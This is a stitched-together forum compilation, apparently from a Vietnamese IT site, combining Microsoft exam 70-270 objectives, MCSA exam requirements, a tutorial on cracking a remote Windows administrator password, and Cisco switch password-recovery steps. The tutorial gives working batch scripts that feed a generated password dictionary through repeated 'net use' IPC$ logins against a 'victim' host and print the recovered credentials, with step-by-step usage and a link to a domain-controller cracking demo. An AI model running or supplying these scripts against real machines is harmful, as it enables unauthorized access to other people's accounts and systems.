Preparation Guide for Exam 70-270

Skills measured by Exam 70-270 Course 2272
Installing Windows XP Professional

Perform and troubleshoot an attended installation of Windows XP Professional.
The course includes material to prepare you for this task.

Perform and troubleshoot an unattended installation of Windows XP Professional.
•

Install Windows XP Professional by using Remote Installation Services (RIS).
•

Install Windows XP Professional by using the System Preparation Tool.
•

Create unattended answer files by using Setup Manager to automate the installation of Windows XP Professional.
The course includes some material to prepare you for this task. You will need to supplement the course with additional work.

Upgrade from a previous version of Windows to Windows XP Professional.
•

Prepare a computer to meet upgrade requirements.
•

Migrate existing user environments to a new installation.
The course includes material to prepare you for this task.

Perform post-installation updates and product activation.
The course includes material to prepare you for this task.

Troubleshoot failed installations.
The course includes material to prepare you for this task.

Implementing and Conducting Administration of Resources

Monitor, manage, and troubleshoot access to files and folders.
•

Configure, manage, and troubleshoot file compression.
•

Control access to files and folders by using permissions.
•

Optimize access to files and folders.
The course provides a general introductory overview of this task. You will need to supplement the course with additional work.

Manage and troubleshoot access to shared folders.
•

Create and remove shared folders.
•

Control access to shared folders by using permissions.
•

Manage and troubleshoot Web server resources.


Connect to local and network print devices.
•

Manage printers and print jobs.
•

Control access to printers by using permissions.
•

Connect to an Internet printer.
•

Connect to a local print device.


Configure and manage file systems.
•

Convert from one file system to another file system.
•

Configure NTFS, FAT32, or FAT file systems.
The course includes material to prepare you for this task.

Manage and troubleshoot access to and synchronization of offline files.
The course includes some material to prepare you for this task. You will need to supplement the course with additional work.

Implementing, Managing, Monitoring, and Troubleshooting Hardware Devices and Drivers

Implement, manage, and troubleshoot disk devices.
•

Install, configure, and manage DVD and CD-ROM devices.
•

Monitor and configure disks.
•

Monitor, configure, and troubleshoot volumes.
•

Monitor and configure removable media, such as tape devices.
The course includes some material to prepare you for this task. You will need to supplement the course with additional work.

Implement, manage, and troubleshoot display devices.
•

Configure multiple-display support.
•

Install, configure, and troubleshoot a video adapter.
The course includes material to prepare you for this task.

Configure Advanced Configuration Power Interface (ACPI).
The course includes material to prepare you for this task.

Implement, manage, and troubleshoot input and output (I/O) devices.
•

Monitor, configure, and troubleshoot I/O devices, such as printers, scanners, multimedia devices, mouse, keyboard, and smart card reader.
•

Monitor, configure, and troubleshoot multimedia hardware, such as cameras.
•

Install, configure, and manage modems.
•

Install, configure, and manage Infrared Data Association (IrDA) devices.
•

Install, configure, and manage wireless devices.
•

Install, configure, and manage USB devices.
•

Install, configure, and manage hand held devices.
•

Install, configure, and manage network adapters.
The course provides a general introductory overview of this task. You will need to supplement the course with additional work.

Manage and troubleshoot drivers and driver signing.
The course includes material to prepare you for this task.

Monitor and configure multiprocessor computers.


Monitoring and Optimizing System Performance and Reliability

Monitor, optimize, and troubleshoot performance of the Windows XP Professional desktop.
•

Optimize and troubleshoot memory performance.
•

Optimize and troubleshoot processor utilization.
•

Optimize and troubleshoot disk performance.
•

Optimize and troubleshoot application performance.
•

Configure, manage, and troubleshoot Scheduled Tasks.
The course provides a general introductory overview of this task. You will need to supplement the course with additional work.

Manage, monitor, and optimize system performance for mobile users.
The course provides a general introductory overview of this task. You will need to supplement the course with additional work.

Restore and back up the operating system, System State data, and user data.
•

Recover System State data and user data by using Windows Backup.
•

Troubleshoot system restoration by starting in safe mode.
•

Recover System State data and user data by using the Recovery console.
The course includes some material to prepare you for this task. You will need to supplement the course with additional work.

Configuring and Troubleshooting the Desktop Environment

Configure and manage user profiles and desktop settings.
The course includes material to prepare you for this task.

Configure support for multiple languages or multiple locations.
•

Enable multiple-language support.
•

Configure multiple-language support for users.
•

Configure local settings.
•

Configure Windows XP Professional for multiple locations.
The course includes some material to prepare you for this task. You will need to supplement the course with additional work.

Manage applications by using Windows Installer packages.


Implementing, Managing, and Troubleshooting Network Protocols and Services

Configure and troubleshoot the TCP/IP protocol.
The course includes some material to prepare you for this task. You will need to supplement the course with additional work.

Connect to computers by using dial-up networking.
•

Connect to computers by using a virtual private network (VPN) connection.
•

Create a dial-up connection to connect to a remote access server.
•

Connect to the Internet by using dial-up networking.
•

Configure and troubleshoot Internet Connection Sharing (ICS).
The course includes some material to prepare you for this task. You will need to supplement the course with additional work.

Connect to resources by using Internet Explorer.


Configure, manage, and implement Internet Information Services (IIS).


Configure, manage, and troubleshoot Remote Desktop and Remote Assistance.
The course includes material to prepare you for this task.

Configure, manage, and troubleshoot an Internet Connection Firewall (ICF).
The course provides a general introductory overview of this task. You will need to supplement the course with additional work.

Configuring, Managing, and Troubleshooting Security

Configure, manage, and troubleshoot Encrypting File System (EFS).
The course includes material to prepare you for this task.

Configure, manage, and troubleshoot a security configuration and local security policy.
The course includes material to prepare you for this task.

Configure, manage, and troubleshoot local user and group accounts.
•

Configure, manage, and troubleshoot auditing.
•

Configure, manage, and troubleshoot account settings.
•

Configure, manage, and troubleshoot account policy.
•

Configure, manage, and troubleshoot user and group rights.
•

Troubleshoot cache credentials.
The course includes material to prepare you for this task.

Configure, manage, and troubleshoot Internet Explorer security settings.


Note This preparation guide is subject to change at any time without prior notice and at the sole discretion of Microsoft. Microsoft exams might include adaptive testing technology and simulation items. Microsoft does not identify the format in which exams are presented. Please use the exam objectives listed in this preparation guide to prepare for the exam, regardless of its format.

http://www.microsoft.com/learning/exams/70-270.mspx

Các môn thi trong chứng chỉ MCSA 15-04-2007, 05:01 PM

Để nhận được chứng chỉ MCSA, bạn cần thi các môn sau:

* 3 môn bắt buộc:

Exam 70–290: Managing and Maintaining a Microsoft Windows Server 2003 Environment
Exam 70–291: Implementing, Managing, and Maintaining a Microsoft Windows Server 2003 Network Infrastructure
Exam 70–270: Installing, Configuring, and Administering Microsoft Windows XP Professional hay Exam 70-210: Installing, Configuring, and Administering Microsoft Windows 2000 Professional

** 1 Môn tự chọn trong các môn sau:

Exam 70-089: Designing, Implementing, and Managing a Microsoft Systems Management Server 2003 Infrastructure
Exam 70-2271: Installing, Configuring, and Administering Microsoft Internet Security and Acceleration (ISA) Server 2000, Enterprise Edition
Exam 70-228: Installing, Configuring, and Administering Microsoft SQL Server 2000 Enterprise Edition
Exam 70-235: TS: Developing Business Process and Integration Solutions Using BizTalk Server 2006
Exam 70-262: TS: Microsoft Office Live Communications Server 2005 - Implementing, Managing, and Troubleshooting
Exam 70-284: Implementing and Managing Microsoft Exchange Server 2003
Exam 70-299: Implementing and Administering Security in a Microsoft Windows Server 2003 Network
Exam 70-350: Implementing Microsoft Internet Security and Acceleration (ISA) Server 2004
Exam 70-431: TS: Microsoft SQL Server 2005 - Implementation and Maintenance

Không cần thi môn tự chọn nếu có các chứng chỉ sau:
MCDST (Microsoft Certified Desktop Support Technician --là chứng chỉ Microsoft đưa ra dành cho nhân viên hỗ trợ kỹ thuật người dùng cuối (end-user). Chứng chỉ này thi gồm 2 môn: 70-271, 70-272. Nội dung học gồm Troubleshoot OS (dĩ nhiên là Windows) và Application (Office, IE,...)
MCSA on Microsoft Windows 2000
MCSE on Microsoft Windows 2000
CompTIA A+ và CompTIA Network+
CompTIA A+ và CompTIA Server+
CompTIA Security+

http://vsic.com/forum/showthread.php?t=18

Để đạt được chứng chỉ MCSA bạn cần thi 4 môn là đủ, với 2 môn còn lại bạn có thể đạt được MCSA: Messaging & MCSA: Security. Thông tin:

MCSA: Messaging on Microsoft Windows Server 2003 Certification Requirements

* Core exams (three exams required - 3 môn bắt buộc)

1. Exam 70–290: Managing and Maintaining a Microsoft Windows Server 2003 Environment
2. Exam 70–291: Implementing, Managing, and Maintaining a Microsoft Windows Server 2003 Network Infrastructure
3. Exam 70-210: Installing, Configuring, and Administering Microsoft Windows 2000 Professional
-or-
Exam 70–270: Installing, Configuring, and Administering Microsoft Windows XP Professional
-or-
Exam 70–620: TS: Windows Vista, Configuring

**Messaging specialization (one exam required - 1 môn)

Exam 70-284: Implementing and Managing Microsoft Exchange Server 2003


MCSA: Security on Microsoft Windows Server 2003 Certification Requirements

* Tương tự như trên

** Security specialization (two exams required -2 môn)

- Exam 70-299: Implementing and Administering Security in a Microsoft Windows Server 2003 Network
- Exam 70-227: Installing, Configuring, and Administering Microsoft Internet Security and Acceleration (ISA) Server 2000, Enterprise Edition
- Exam 70-350: Implementing Microsoft Internet Security and Acceleration (ISA) Server 2004
- CompTIA Security+


http://vsic.com/forum/showthread.php?t=18&page=2

http://vsic.com/forum/showthread.php?t=1906

http://vsic.com/forum/forumdisplay.php?f=68

Crack Password từ xa bằng phương pháp Route force

Mình đã đọc bài viết “Hacking PC resource share – hướng đi và giải pháp” trên HVA, trong bài viết có gợi ý đến một cách crack password sử dụng lệnh net use để crack password trong mạng LAN. Tuy nhiên để chạy được chương trình này phải cần thêm chương trình nat, nat là gì? Mình đã thử search nhưng vẫn không cách nào lấy được chương trình nat này. Thế là mình bắt tay vào tìm hiểu và viết chương trình crack password bằng phương pháp Brute force mà không dùng đến chương trình nat đã nói ở trên. Mời bạn đọc.

Nguyên lý và phương pháp thực hiện crack
Chương trình dựa trên nguyên lý Brute force.
Chương trình CrackPwd gồm 3 phần chính:
- Tạo từ điển password
- Thực hiện net use đến máy Victim
- Nhận phản hồi kết nối thành công hay thất bại.

Tạo từ điển
Chương trình dic.exe tạo ra file dic.txt liệt kê tất cả các khả năng xảy ra có thể của password theo yêu cầu của người sử dụng. Để gọi chương cần 6 tham truyền.

dic.exe
x1: số ký tự nhỏ nhất của password
x2: số ký tự lớn nhất của password
x3: là 1 nếu chuỗi password có chứa số từ 0-9, ngược lại là 0
x4: là 1 nếu chuỗi password có chứa chữ thường từ a-z, ngược lại là 0
x5: là 1 nếu chuỗi password có chứa chữ hoa từ A-Z, ngược lại là 0
x6: là 1 nếu chuỗi password có chứa các ký tự phức tạp, ngược lại là 0

VD: Để tạo từ điển password có ít nhất 2 ký tự và nhiều nhất là 4 ký tự, password bao gồm số và chữ thường. Ta thực hiện gọi dic.exe như sau:
dic.exe 2 4 1 1 0 0

Thực hiện net use đến máy Victim
Câu lệnh net use sau đây cho phép tạo session kết nối với máy Victim

net use \\ipc$ (file://\\ipc$) /user:


Để tạo chương trình tự động thực hiện nạp password vào lệnh net use ta phải dùng lệnh for để thực hiện lấy từng password từ Từ điển dic.txt.


for /f %%i in (dic.txt) do net use \\ipc$ (file://\\ipc$) %%i /user:


Tuy nhiên trong chương trình của mình phải chỉnh sửa lại, thay vì gọi net use trực tiếp thì phải gọi file netuse.bat để file này thực hiện việc kiểm tra và kết thúc vòng lặp nếu tìm ra password.


for /f %%i in (dic.txt) do netuse.bat %%i

Nhận phản hồi kết nối thành công hay thất bại
Vấn đề cuối cùng là làm sao biết kết nối thành công trong hàng vô số lệnh net use tương ứng với các password khác nhau được gửi đến máy Victim. Trong các tập lệnh .bat hỗ trợ biến “error level” có giá trị từ 0 đến 255, nếu biến này bằng 0 nghĩa là thực hiện thành công, ngược lại nghĩa là không thành công.

If errorlevel 1 goto exit


Câu lệnh trên mô tả: nếu errolevel >1 thì nhảy đến exit (thực sự là không làm gì cả, thoát khỏi chương trình và trở lại thực hiện lệnh net use với password mới), ngược lại nếu errorlevel =0 thì sẽ thực hiện câu lệnh kế tiếp.

Chương trình mẫu crack password user administrator của máy có ip 192.168.1.1 . Dạng password là chuỗi từ 3 đến 4 ký tự hoàn toàn là số.

Nội dung file CrackPwd.bat
@echo off
del dic.txt
dic.exe 3 4 1 0 0 0
net use \\192.168.1.1\ipc$ /delete
for /f %%i in (dic.txt) do netuse.bat 192.168.1.1 administrator %%i

Nội dung file netuse.bat
@echo off
net use \\%1\ipc$ "%3" /user:"%2"
if errorlevel 1 goto exit
cls
echo.
echo Crack password successfully!
echo IP Address: %1
echo Username: %2
echo Password: %3
echo.
> \end.bat
\end.bat > NUL
:exit

Cách sử dụng chương trình:
- Chép 3 file CrackPwd.bat, netuse.bat và dic.exe vào cùng thư mục.
- Chỉnh sửa file CrackPwd.bat cho phù hợp với nhu cầu sử dụng.
- Vào Run gõ cmd. Chuyển về thư mực chứa 3 file trên. Gõ CrackPwd.bat.
Chú ý: Với file CrackPwd.bat, bạn cũng có thể tách riêng phần tạo từ điển, thêm password vào file dic.txt và crack password bằng cách thêm vào các lệnh “rem” tại các vị trí cần thiết.

Những hạn chế của chương trình
- Hạn chế lớn nhất của phương pháp Brute force chính là từ điển. Nếu password dài, từ điển sẽ lớn thì khả năng crack password sẽ vô cùng lâu. Để hạn chế điều này mình đã nghĩ ra ý tưởng nhưng chưa có thời gian để thực hiện. Bạn nào có khả năng lập trình VB tốt mình sẽ chia sẻ source tạo từ điển và cùng phát triển từ điển thông minh theo hướng như sau:
Giả sử bạn biết trong chuỗi password có chữ abc thì chỉ cần nhập vào format chuỗi là *abc*, hoặc *abc?. Nếu được như vậy thì từ điển sẽ nhỏ gọn và hiệu quả crack sẽ cao.
- Lệnh net use sẽ mất tác dụng nếu bạn disable NetBios.

Crack Password DC 5 phút!

Phim Demo:
http://www.vsic.com.vn:8000/Security/CrackDc.swf

Bài hướng dẫn Password trên DC

http://vsic.com/forum/showthread.php?t=547

Crack password Switch

1. Tháo cáp nguồn
2. Giữ nút "Mode" trong khi gắn lại nguồn cho switch
3. Gõ lệnh: flash_init
4. Gõ lệnh: Dir flash: (xem nội dung Flash:)
5. Gõ lệnh: rename flash:config.txt flash:config.old (đổi tên tập tin cấu hình)
6. Gõ lệnh: boot (khởi động lại)
7. Chọn: No để bỏ qua init setup
8. Vào mode enable: Enable
9. Gõ lệnh: rename flash:config.old flash:config.txt (trả lại tên file cấu hình)
10. Copy ra RAM: #copy flash:config.txt system:running-config
11. Bỏ Password:
# config t
# no enable secret (or no enable password)
12.Lưu cấu hình: # copy run start

OK!

http://vsic.com/forum/showthread.php?t=65